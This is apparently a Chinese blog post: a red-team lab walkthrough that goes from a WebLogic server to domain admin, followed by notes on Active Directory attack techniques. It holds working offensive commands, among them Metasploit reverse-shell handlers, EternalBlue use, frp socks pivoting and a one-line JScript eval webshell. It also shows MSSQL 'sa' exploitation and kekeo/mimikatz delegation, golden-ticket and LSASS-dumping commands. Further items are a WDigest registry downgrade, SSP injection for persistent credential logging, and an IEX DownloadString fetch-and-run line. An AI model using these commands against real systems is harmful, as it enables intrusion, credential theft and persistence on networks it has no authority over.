2022年3月

  • 外网 weblogic 服务器


    不知道为什么 ping 不通,直接访问 7001,上一波 weblogic 扫描器直接拿下
    image-20220303185452353
    除此之外还可以试试 weblogic 的常用弱口令(github),这里有 weblogic/weblogic123可以直接进后台,可利用的漏洞点就不限于前台的反序列化 rce 了。
    传个?上去,用冰蝎链接做后续攻击。但这里遇到的一个问题就是?的路径选择
    写入console images目录
    物理路径:C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
    访问路径:
    /console/framework/skins/wlsconsole/images/shell.jsp
    能传上但访问404
    

    写入uddiexplorer目录中
    物理路径:
    C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp
    访问路径:
    /uddiexplorer/shell.jsp
    (发现没这个目录)
    

    写入应用安装目录
    物理路径:C:\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp
    访问路径:
    /项目名/shell.jsp
    (也没路径)
    

    传马失败,等解决了再回来补,这里直接用 CS 生成 powershell 上线了。
    image-20220303201150831
  • 域内个人PC


    做一波信息收集,首先可以确认是没有域,只有两个网段,需要做横向。
    image-20220303203319380
    mimikatz 抓一下密码,win 2012 抓不到明文,能不能通过其他方式拿暂且放一下,继续做横向,用 portscan 扫一下子网,发现 10.10.20.7 主机,传个代理继续打。
    不知道为什么 ew 用不了,所以改用 frp
    攻击机:
    [common]
    bind_addr =0.0.0.0
    bind_port = 7000
    

    跳板机:
    [common]
    server_addr = 192.168.0.128
    server_port = 7000
    
    [plugin_socks]
    type = tcp
    remote_port = 7777
    plugin = socks5
    

    用 CS 派生一个监听道到 msf,用 msf 继续打横向:
    use exploit/multi/handler 
    set payload windows/meterpreter/reverse_http
    set lhost 192.168.0.128
    set lport 20001
    连上之后迁移进程
    run post/windows/manage/migrate
    

    msf 挂上代理打永恒之蓝:
    set Proxies socks5:192.168.0.128:7777
    set ReverseAllowProxy true
    

    永恒之蓝的 shell 不稳定,容易打蓝屏,派生到 CS 上继续攻击,但这里有个重要的问题:win7包括域内主机都不出网,通常的手段是用 msf 正向(防火墙限制)或用 CS 中转。
    image-20220304105521144
    比较无法理解的是不知道为什么生成 powershell command 不能选择 CS 中继 Listener,但生成 exe 就可以,第二个坑待会补,用 msf 传 exe 弹到 CS 中继上。
    在打的时候一直反弹不回来,后来想了想才发现 weblogic 主机没关防火墙,ping 都 ping 不通。。。
    最后弹回来了,永恒之蓝打的,还是个 system 权限,可以开始打域控了。
    注意这里不要直接用 ms17_010_eternalblue 打,很容易打蓝屏,用 ms17_010_comman 弹命令开远程桌面打。(但这里会有各种奇奇怪怪的bug,算第三个坑)
    最后还是用 ms17_010_eternalblue 打的。。。。。。
    image-20220304121350143
  • 域渗透


    先做本机信息收集,win7系统,另一张网卡 10.10.10.0/24,存在域 redteam.red,没什么补丁,探测一下域环境。然而现在是 system 权限不在域中,考虑用 msf 的 steal_token 实现降权,重新反弹一个 shell 到 CS 中。
    image-20220304142516587
    继续利用 CS 进行域信息收集,域控 10.10.10.8,域管理员 administrator,还有一台 sqlserver 机器。
    image-20220304154659390
    考虑打域控的几种思路:
    1. 抓密码或 dump 密码,但运行 mimikatz 只能看到 saul 的密码,利用价值不大。
    2. 尝试令牌窃取,但 ps 中没有域控进程,遂放弃
    3. 已有漏洞,如 zerologon 的重置密码等
    4. 委派,先打其他主机
    5. 待补充,但可参考 https://github.com/infosecn1nja/AD-Attack-Defense

    这里尝试通过委派打其他主机,其他方式见坑4。
    传一个 Adfind 上去,查找一下配置了委派的用户
    查询配置了非约束委派的主机:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    查询配置了非约束委派的用户:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    查询配置了约束委派的主机:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
    查询配置了约束委派的用户:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
    

    非约束主机:sqlserver 和 域控
    image-20220304163347119
    非约束用户:saulgoodman
    image-20220304163441281
    约束委派用户:sqlserver
    image-20220304163612633
    考虑到非约束委派在实战中需要被域管访问,比较鸡肋(不鸡肋的打法见坑5)
    这里用约束委派攻击,但首先要拿下 sqlserver 这台机器,传个 fscan 做一下端口扫描。
    shell fscan64.exe -np -h 10.10.10.0/24
    

    80没东西,爆破一下1443 的 sa 用户,密码 sa,传个工具进行连接,这里选用的是 SqlKnife
    shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --xpcmd -c whoami
    

    image-20220304175322285
    但只是个数据库权限,要想办法提权,但现在这个 shell 很难用,记起来还有个 web 服务,考虑在 web 服务器目录下写shell,但权限太小遂放弃。
    最后用 EfsPotato 提权成功
    shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 --3 --fix
    shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 -c whoami
    

    image-20220304190539096
    这就是拿到一个 system 权限了。
    但很鸡肋执行起来有各种问题,在这里卡了好久也没有合适的攻击方法,最终还是又用了 frp 搭了一层代理,让最外层的 kali 能直接访问 10.10.10.0/24。
    frpc.ini
    [common]
    server_addr = 10.10.20.12
    server_port = 9000
    
    [plugin_socks]
    type = tcp
    remote_port = 9999
    plugin = socks5
    

    frps.ini
    [common]
    bind_addr =0.0.0.0
    bind_port = 9000
    

    然后在 kali 的 proxychains4的 配置文件如下:
    image-20220304211645931
    直接挂代理起 msf,用 exploit/windows/mssql/mssql_clr_payload 模块之间打(注意设用户密码)
    用拿下的 win7 做中继,用 CS 生成马,通过 meterpreter 传上去,要注意这里存在权限问题,所以选了这个可读可写可执行的目录。
    image-20220304214533360
    也可以直接用 https://github.com/RowTeam/SharpSQLTools/ 带GUI界面执行文件。
    但不知道为什么一直没办法反弹到 cs 上,(或许不能弹中继的中继?)
    最后还是用 msf 生成正向 shell 的马传到 sqlserver 上,再用 再用 EfsPotato 提权后去执行,得到一个 system 权限的 meterpreter。(其实这里用 CS 的 beacon_tcp 也可以实现正向连接)
    msf监听:
    handler -p windows/x64/meterpreter/bind_tcp -H 10.10.10.18 -P 30003
    

    cs 跳板机正向连接
    connect 10.10.10.18 30004
    

    或者先在用 msf 写一个 bat,再用 EfsPotato 提权后去执行(这个 system 不能写只能执行),向 80 端口中写一个 webshell 连接上
    image-20220305202622332
    shell.bat:
    echo ^<%%^@Page Language^=^"Jscript^"%%^>^<%%eval^(Request^.Item^[^"saul^"^]^,^"unsafe^"^)^;%%^> > c:\inetpub\wwwroot\1.aspx
    

    连上 webshell 之后就要想办法提权了
    查询当前系统缺失的常见可用于提权的补丁:
    systeminfo > micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
    

    (坑。。。。。。具体试了几个都有各种限制)
    总而言之拿到了一个 msf 的 system 的shell,可以继续约束委派攻击了。
    先抓一波密码:
    image-20220305223326202
    这里的 sqlserver 是配置了约束委派的用户,降权到 sqlserver,传一个 kekeo 继续攻击
    请求用户的 TGT
    kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" > 1.txt 
    

    用生成的 TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi 获取域机器的 ST:
    kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" > 2.txt
    

    最后用 mimikatz 将 ST2 导入当前会话
    mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi
    

    此时已经和域控建立了 ipc 会话,可以直接远程查看
    image-20220306203648083
    拿到 flag。
  • 没解决的问题:


    • 一路的坑,之后慢慢填
    • CS 和 MSF 操作上有很多的问题
    • 多层内网的反弹 shell(后来一直都是正向链接,有防火墙的话就很难受)
    • 没过杀软,大问题
    • 流量不够隐蔽,没有很好的利用各种隧道隐藏技术
  • 参考文献


  • 前置知识


    本机用户密码 hash 放在 本地的SAM文件,域内用户密码 hash 放在 域控的NTDS.DIT文件。
    NTLM 验证的工作流程:
    t01652f775797dd2789
    1. 登录
    2. 协商,包含客户端支持和服务器请求的功能列表。
    3. 质询,包含服务器支持和同意的功能列表和 challenge
    4. 身份验证,使用用户 hash 和 chanllenge 进行加密得到 response(证明身份)
    5. 服务端和域控建立连接,把前三个消息转发给域控
    6. 域控有用户的 hash,可以加密验证

    另外 NTLM 不是单独的协议,而是嵌套在其他协议中的(http,smb等)
  • Pass the hash(哈希传递攻击)


    身份验证的 response 是之间用 hash 而不是明文密码攻击的,所有模拟用户登录的时候不需要明文密码。对应补丁 kb2871997(但只能缓解不能拿杜绝),kb2871997 对Administrator(rid500)和本地管理员组的域用户没有影响。
    这里发生作用的是远程访问上下文中的用户帐户控制(UAC)令牌筛选。
    在使用本地用户尽心远程登录时不会使用完全管理员权限(因为没过 UAC),但是在域用户被加入到本地管理员组之后,域用户可以使用完全管理员的 AccessToken 运行,且 UAC 不会生效。
    但是,如果 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy项存在(默认不存在)且配置为1,将授予来自管理员所有本地成员的远程连接完整的高完整性令牌。这意味着未过滤非RID 500帐户连接,并且可以成功传递哈希值!(可留作后门)。
    KB2871997的更改

    1. 支持“ProtectedUsers”组
      “ProtectedUsers”组是WindowsServer 2012 R2域中的安全组,“ProtectedUsers”组成员会强制使用 Kerberos 身份验证,并且对 Kerberos 强制执行 AES 加密。
    2. RestrictedAdmin RDP模式的远程桌面客户端支持
      避免将 Client 端的凭据暴露给远程系统,同时衍生出新的攻击方式(Passingthe Hash with Remote Desktop)。
    3. 注销后删除凭证
    4. 添加两个 SID
      1、本地帐户,LOCAL_ACCOUNT(S-1-5-113),所有本地帐户继承自此SID;
      2、本地帐户和管理组成员(所有本地Administrators组中的本地帐户),LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROUP(S-1-5-114),所有管理员组的本地用户继承此SID。
      

      1574139458_5dd37642a9658
    5. LSASS中删除了明文凭证
      注册表地址:HKEY_LOCAL_MACHINE\ System \ CurrentControlSet \ Control \ SecurityProviders \ WDigest
      如果UseLogonCredential值设置为0,则WDigest不会将凭据存储在内存中;
      如果UseLogonCredential值设置为1,WDigest将在内存中存储凭据。
  • 信息收集


    在质询阶段返回 Challenge 的过程中同时返回了操作系统类型,主机名,netbios名等等,可以通过给服务器发请求得到服务器信息。
  • ntlm relay


    t01f22f78b71df16680
    客户端计算完 response 之后,被中间人转发到服务端,最后服务端授予中间人访问权限。
    • Net-NTLM v1 的破解

      Responder.conf 中 的Challenge,设为 1122334455667788,在这种情况下先用使用ntlmv1-multi里面的 ntlmv1.py 转换 ,再用 https://crack.sh/get-cracking/ 就能破解了。
      其实有两种加密方式,由 NTLMSSPNEGOTIATEEXTENDED_SESSIONSECURITY 决定(0/1),其中的 NTLMSSPNEGOTIATEEXTENDED_SESSIONSECURITY 来自质询阶段。
      第一种加密(0的时候,Responder默认获取)
      1. 将 16字节的NTLM hash空填充为21个字节,然后分成三组,每组7字节
      2. 将三组(每组7字节)经过运算后作为DES加密算法的密钥(7字节凑一个奇偶叫用位补全)
      3. 加密Server Challenge
      4. 将这三个密文值连接起来得到response。

      第二种加密 (1的时候,Responder加--lm时获取)
      加密的内容不是 Server Challenge,而是 md5(server challeng+client challent) 的前8位。
    • Net-NTLM v2 的破解 & Relay

      hashcat 进行字典破解,大概率跑不出来,于是就要用 Relay 来搞了。
      1.Relay2SMB,直接 relay 到 smb 服务器,可以控制该服务器,分为两种情况
      • 工作组,不同机器没有信任关系,没什么用,攻击手段就是 reflect 回机器本身,ms08-068中有限制,在CVE-2019-1384(Ghost Potato)被绕过。
      • 域环境,如果没有限制某域用户登录到某台机器的时候,可以 relay,当然拿到了域控也可以 relay 到普通机器。

      2.Relay2EWS, relay 到 Exchange 上,从而能收发邮件,进行代理等,如果 Exchange开放在外网的话,可以直接从外网发起 relay。
      工具:https://github.com/Arno0x/NtlmRelayToEWS
      3.Relay2LDAP,三种情况:
      • 高权限用户发起 NTLM 请求,包括
        Enterprise admins
        Domain admins
        Built-in Administrators
        Backup operators
        Account operators
        

        那么就可以将任意用户拉进组,把它变成高权限用户。
      • 有 write-acl 权限,可以添加两台 acl,之后细说。
      • 普通用户权限,server2012 R2 之后,可以设置基于资源的约束委派。
  • 参考文献


  • Kerberos 流程


    image-20220417122106074
    AS_REQ & AS_REP
    认证客户端身份,确定客户端是一个可靠且拥有访问 KDC 权限的客户端。
    用户向 KDC 发起 AS_REQ,请求凭据是用户 hash 加密的时间戳,KDC 使用用户 hash 进行解密,如果结果正确返回用 krbtgt hash 加密的 TGT 票据
    image-20220417122328254
    TGS_REQ & TGS_REP
    获取能够访问目标网络服务的服务授予票据 Ticket
    用户凭借 TGT 票据向 KDC 发起针对特定服务的 TGS_REQ 请求,KDC 使用krbtgt hash 进行解密,如果结果正确,就返回用服务hash 加密的 TGS 票据
    image-20220417122452734
    SE_REQ & SE_REP
    用户拿着 TGS 票据去请求服务,服务使用自己的 hash 解密 TGS 票据。如果解密正确,就允许用户访问。
    image-20220417122505697
  • 实验:Kerberoasting


    环境用的 vulnstack1/4 的win7 和 DC,工具包:https://github.com/nidem/kerberoast
    Set-ExecutionPolicy Unrestricted -Scope CurrentUser
    .\GetUserSPNs.ps1           (SPN扫描)
    cscript .\GetUserSPNs.ps1   (spn扫描)
    klist                       (查看当前会话存储的kerberos票据)
    mimikatz # kerberos::list /export   (导出票据)
    

    image-20220203093528227
    image-20220203093548786
    image-20220203093603425
    image-20220203093856638
    把导出的票据用工具集中的 tgsrepscrack.py 工具离线爆破(xs,根本爆不出来)
    image-20220203094434774
  • 实验:MS14-0684


    漏洞原理:

    关于 PAC
    PAC 是用于判断用户是否有权限访问服务,包含了用户的 sid,在 KRB_AS_REP 的 TGT 中,
    
    最后用户拿着 TGS 票据去请求服务,服务使用自己的 hash 解密 TGS 票据。如果解密正确,就拿着PAC去KDC那边询问用户有没有访问权限,域控解密 PAC 。获取用户的 sid,以及所在的组,再判断用户是否有访问服务的权限。
    
    只有KDC能制作和查看PAC。
    

    问题出在了签名的时候允许所有的 checksum 算法,包括 MD5,公平公正公开 意味着我们可以随意更改 PAC 的内容,完了之后再用 md5 给他生成一个服务检验和以及 KDC 校验和。
    攻击流程:

    whoami /all          (查看sid)
    .\MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-97988601107 -d WIN-ENS2VR5TR3N
    mimikatz # kerberos::purge      (删除当前缓存票据)
    mimikatz # kerberos::ptc TGT_douser@demo.com.ccache
    

    跟着源码看一下和 KDC 交互产生漏洞的过程:
    KRB_AS_REQ : Client 会向 KDC 申请一个不包含 PAC 的 TGT 票据(微软默认)
    image-20220203105633119
    KRB_AS_REP : 然后用 tgt_a 存储收到的 TGT 票据
    image-20220203110117777
    KRB_TGS_REQ : 通过 build_pac 函数构造 PAC,通过 build_tgs_req 构造 TGS_REQ
    image-20220203110249529
    追到 build_pac 中,注意最签名的 checksum,传入的参数写死在函数调用里了(RSA_MD5),原则上这个加密方式应该有 KDC 指定
    image-20220203114537066
    然后通过对 user_id 的分割构造了高权限组 SID 的 PAC。
    域用户(513)
    域管理员(512)
    架构管理员(518)
    企业管理员(519)
    组策略创建者所有者(520)
    

    在 build_tgs_req 中,使用 subkey(一串16位随机数) 进行加密
    image-20220203115505814
    到目前出现的问题:
    • 域中默认 include-pac 为 False
    • PAC 签名方式可以由 Client 指定,并且 Key 可以为空
    • PAC 加密方式可以由 Client 指定,并且 Key 为16位随机数
    • 构造的 PAC 中包含高权限组的 SID 内容

    KRB_TGC_REP : tgt_b 会接收到一张新的,包含 Pykek 生成的 PAC 的 TGT,正常情况下应该返回一张用于发送给 Server 段认证的 ST 票据。
    image-20220203123603757
    然后保存生成 ccache,那么现在已经是有一张高权限且内容正常的 TGT 票据。
  • Golden Ticket


    通过伪造 TGT 获得权限,使用条件:
    1、域名称
    2、域的SID值
    3、域的KRBTGT账户密码HASH
    4、伪造用户名,可以是任意的
    

    这里使用 mimikatz 来进行攻击
    lsadump::dcsync /domain:god.org /user:krbtgt (获取 krbtg 的 hash)
    kerberos::golden /admin:administrator /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:golden.kiribi     (生成金票)
    kerberos::ptt golden:kiribi     (把票据导入内存)
    此时已经可以通过 dir 访问域控的共享文件夹了
    

    image-20220204101113556
    image-20220204102222125
  • Silver Tickets


    通过伪造 ST (Service Ticket) ,因为 TGT 已经在 PAC 中限定了授权(通过 SID),所以银票只能访问指定服务,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名则银票将不起作用。使用条件:
    1.域名称
    2.域的SID值
    3.域的服务账户的密码HASH(不是krbtgt,是域控)
    4.伪造的用户名,可以是任意用户名,这里是silver
    

    上一个实验的环境和工具
    sekurlsa::logonpasswords     (查看当前域账号 administrator 的 hash 值)
    
  • Enhanced Golden Tickets


    普通的黄金票据不能跨域使用,但可以通过域内主机在迁移时SIDHistory属性中保存的上一个域的SID值制作可以跨域的金票。
  • 非约束委派


    攻击流程:

    • 找到配置非约束委派的账户( LADP查找工具或 powershell 脚本)
    • 拿下该账户权限
    • 诱导域管访问该账户(此时域管会将自己 TGT 发送到该账户并缓存到 LSASS 中)
    • 从LSASS中导出域管的TGT票据,然后通过PTT,从而拥有域管的权限、

    原理:

    User 将从 KDC 处得到的 TGT 发送给 service1,而 service1 拿到 TGT 之后可以通过 TGT 访问域内其他任意服务。
    t01d2ad05c9388a6596
    复现,还是 vulnstack1 的环境
    setspn -U -A variant/golden liukaifeng01 //配置test用户为服务账户
    setspn -l liukaifeng01 //查看是否配置成功
    

    image-20220204215304362
    image-20220204215327084
    然后将 liukaifeng01 用户设置为非约束委派,再开启 winrm 服务
    winrm quickconfig    (注意这里只能有链接域的网卡,不能有公网)
    

    导入 powerview.ps1(powerspliot中的),先查询一波(域控主机上运行)
    Get-NetUser -Unconstrained -Domain god.org //查询配置非约束委派的账户
    Get-NetComputer -Unconstrained -Domain god.org //查询配置非约束委派的主机
    

    然后再域控上使用 administrator 访问 liukaifeng01 所在主机上的 smb 服务
    image-20220204225320868
    mimikatz 导出票据
    privilege::debug
    sekurlsa::tickets /export
    

    然后选择一张 Administrator@krbtgt + 域名的票据并导入
    kerberos:ptt 票据名
    kerberos::list  (查看当前票据)
    

    导入之后已经可以访问域控的共享目录。
  • 约束委派


    攻击流程:

    • 找到配置了约束委派的服务账号
    • 拿下该账号所在的机子
    • 利用这个服务账号代表任意用户进行s4u2self获得一个可转发的票据
    • 把获取到的票据用于s4u2proxy(作为AddtionTicket),从未获取一个可转发的TGS,服务就可以代替任意用户访问另外一个服务(既被配置的约束委派的服务

    原理:

    User 不会直接发送 TGT 服务,而是对发送给的 service1 的认证信息做了限制,不允许 service1 代表 User 使用这个 TGT 取访问其他的服务。
    使用了扩展协议: Service for User to Self (S4U2Self) (1-4)和 Service for User to Proxy (S4U2Proxy) (5-10)
    t017e3d9fb481f8b1fe
    环境同上,不过把用户换成约束委派
    image-20220205094534709
    Get-DomainUser –TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl  (查询域中配置约束委派的账户)
    Get-DomainUser -TrustedToAuth -Domain god.org   (查看设置了约束委派的用户)
    Get-DomainComputer -TrustedToAuth -Domain god.org   (查询域中配置约束委派的主机)
    

    image-20220205100507912
    然后使用 kekeo 操作
    tgt::ask /user:liukaifeng01 /domain:god.org /password:!QAZ2wsx /ticket:test.kirbi        (申请 TGT)
    tgs::s4u /tgt:TGT_liukaifeng01@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:administrator@god.org /service:cifs/owa.god.org   (申请 TGS)
    

    然后使用 mimikatz 将生成的 TGS 文件导入 kerberos 凭据列表中
    kerberos::purge
    kerberos::ptt TGS_administrator@god.org@GOD.ORG_cifs~owa.god.org@GOD.ORG.kirbi
    

    image-20220205104725293
  • 资源约束委派


    配置约束委派需要 SeEnableDelegation 权限(通常仅授予 Domain Admins),所以只能利用已有的,但对于基于资源的约束委派,假如我们有了服务账号1 + 用户2的LDAP权限,就可以配置服务1对服务2的约束委派,服务1就可以控制服务2。
    攻击流程:

    • 拥有一个任意的服务账户1 或者计算机账户1
    • 获得服务账户2 的LDAP权限(结合ntlm relay)
    • 配置服务1对服务2的约束委派(在服务账户2的用户属性上配置msDS-AllowedToActOnBehalfOfOtherIdentity为1的sid)
    • 发起一个从服务1到服务2的正常的约束委派的流程,从而访问服务2
  • 参考文献:


  • 低版本下的密码抓取


    各大教程中抓密码的操作:
    privilege::debug (提权)
    sekurlsa::logonpasswords    (抓密码)
    

    但为什么可以抓。。。
    首先要了解这个 debug privilege 的原理,再 windows 中,调试全新啊可以用来调试进程,甚至是调试内核,mimikatz 的工作原理需要读取内存,那么必须要对应的权限去打开进程。
    默认情况下只有本地管理员组有这个权限,这也是为什么 mimikatz 需要管理员权限才能抓 hash 的原因。
    能抓,但具体是怎么抓的,其实 mimikatz 能导出明文的原因是因为 WDigest SSP 保存了可你的密码明文,但在安装 KB2871997 补丁或在 win10 和 windows server 2012 后,就禁止在内存中保存明文密码,但可以通过修改注册表读取。
    关于 WDigest:
    WDigest即摘要身份验证,摘要身份验证是一种质询/响应协议,主要在 Windows Server 2003 中用于 LDAP 和基于 Web 的身份验证。它利用超文本传输协议 (HTTP) 和简单身份验证安全层 (SASL) 交换进行身份验证。在较高级别上,客户端请求访问某些内容,身份验证服务器向客户端提出质询,客户端通过使用从密码派生的密钥对其响应进行加密来响应质询。将加密的响应与身份验证服务器上存储的响应进行比较,以确定用户是否具有正确的密码。
    

    WDigest 利用 http 和 sasl 进行身份验证,具体表现为把明文密码存在 lsass.exe 进程里通过 http 认证。KB2871997 补丁的作用就是关闭了 WDigest Auth(但没完全关闭,因为某些系统服务需要用到,所以为让用户自己选择)。
  • 离线抓取密码


    当 mimikatz 无法实现免杀时,可以用 procdump(微软签名的合法二进制文件,被提供用于转储进程内存。),dump lsass 进程,然后实现离线读取。
    Procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    
    mimikatz # sekurlsa::minidump lsass.dmp
    Switch to MINIDUMP
    mimikatz # sekurlsa::logonPasswords full
    

    image-20220223154916384
    通常在我们登录系统输入密码后,密码便会存储在 lsass.exe 内存,经过 wdigest 和 tspkg 调用后,对其使用可逆的算法进行加密存在内存中。
  • 通过修改注册表抓取明文密码


    WDigest 注册表位于:
    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest
    

    在没有安装补丁的情况下没有 UseLogonCredential 这个值
    image-20220223143145845
    下一下补丁再试试 下载地址,可以发现 mimikatz 已经抓不到明文密码了。
    可以通过修改注册表强制开启 WDigest Auth
    1. cmd
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest  UseLogonCredential /t REG_DWORD /d 1 /f 
    2. powershell
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
    3. meterpreter
    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1
    关闭只需将最后的1改为0
    

    但是锁屏之后需要注销后重启,才能获得明文密码,而我们再不知道明文的情况下登录不了,这时可以设置强制锁屏
    1. cmd
    rundll32 user32.dll,LockWorkStation
    2. powershell
    powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kiraly15/Lock-WorkStation/master/Lock-WorkStation.ps1');"
    

    或者用三好学生的自动化脚本(修改+检测+锁屏)
    #!powershell
    function local:Get-DelegateType {
      Param (
        [OutputType([Type])]
      [Parameter( Position = 0)]
      [Type[]]
      $Parameters = (New-Object Type[](0)),
        [Parameter( Position = 1 )]
      [Type]
      $ReturnType = [Void]
      )
        $Domain = [AppDomain]::CurrentDomain
        $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
        $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
        $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
        $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
        $MethodBuilder.SetImplementationFlags('Runtime, Managed')
    
        $TypeBuilder.CreateType()
    }
    function local:Get-ProcAddress {
      Param (
        [OutputType([IntPtr])]
      [Parameter( Position = 0, Mandatory = $True )]
      [String]
      $Module,
        [Parameter( Position = 1, Mandatory = $True )]
      [String]
      $Procedure
        )
        $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
      $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
        $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
        $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
        $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
        $tmpPtr = New-Object IntPtr
        $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
        $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
    }
    Start-Sleep -Seconds 10
    $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
    $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
    $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
    $hWindow = $GetForegroundWindow.Invoke()
    
    
    write-host "[+]Checking Flag"
    while($hWindow -eq 0)
    {
      write-host "[+]LockScreen"
      write-host "[+]Wait 10 Seconds..."
      Start-Sleep -Seconds 10
      $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
      $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
      $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
      $hWindow = $GetForegroundWindow.Invoke()
      write-host "[+]Checking Flag"
    
    }
    write-host "[!]Got Screen!"
    

    在用户重新登录后就可以用 mimikatz 导出明文密码。
  • SSP注入


    SSP(Security Support Provider)主要提供了 windows 的身份认证功能,如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。SSP 在 windows 启动后,会被加载到 lsass.exe 中,然后就有两种思路:
    1.删除一个任意的SSP DLL以便于与lsass进程进行交互
    2.直接伪造一个SSP的dll来提取用户登录时的明文密码
    

    根据第二种思路,可以自定义一个恶意 dll 文件让它在系统启动时自动加载到 lsass.exe,就能得到进程中的明文密码。(可以用 mimikatz 实现)
    临时注入(重启后失效):
    mimikatz# privilege::debug
    mimiaktz# misc::memssp
    

    只要目标机器不重启,在目标机器上登录的用户名密码就会别记录在 C:\Windows\System32\mimilsa.log 文件中。
    长期性注入(重启不失效):
    把 mimikatz 中的 mimilib.dll 放到系统的 C:\Windows\System32\ 目录下,并将 mimilib.dll 添加到注册表中,使用这种方法,即使系统重启,也不会影响持久化效果。
    然后修改注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages,在其中添加新的 dll 文件。之后用户登录时输入的账号密码就会被记录在 C:\Windows\System32\kiwissp.log。
  • Hook PasswordChangeNotify


    修改密码时,如果用户输入新密码,LSA 会调用 PasswordFilter 来检查改密码是否符合复杂性要求,如果密码符合要求,LSA 会调用 PasswordChangeNotify 在系统中同步密码,这个过程中有明文形式的密码进行传参,那么只要劫持了 PasswordChangeNotify 的执行流就能拿到明文密码。
    具体实现思路:
    1.为PasswordChangeNotify创建一个钩子,将函数执行流重定向到我们自己的PasswordChangeNotifyHook函数中。
    2.在PasswordChangeNotifyHook函数中写入获取密码的代码,然后再取消钩子,重新将执行流还给PasswordChangeNotify。
    3.将生成的dll注入到lssas进程中。使用HOOK PasswordChangeNotify无需重启系统或修改注册表,更加隐蔽且贴合实际。
    

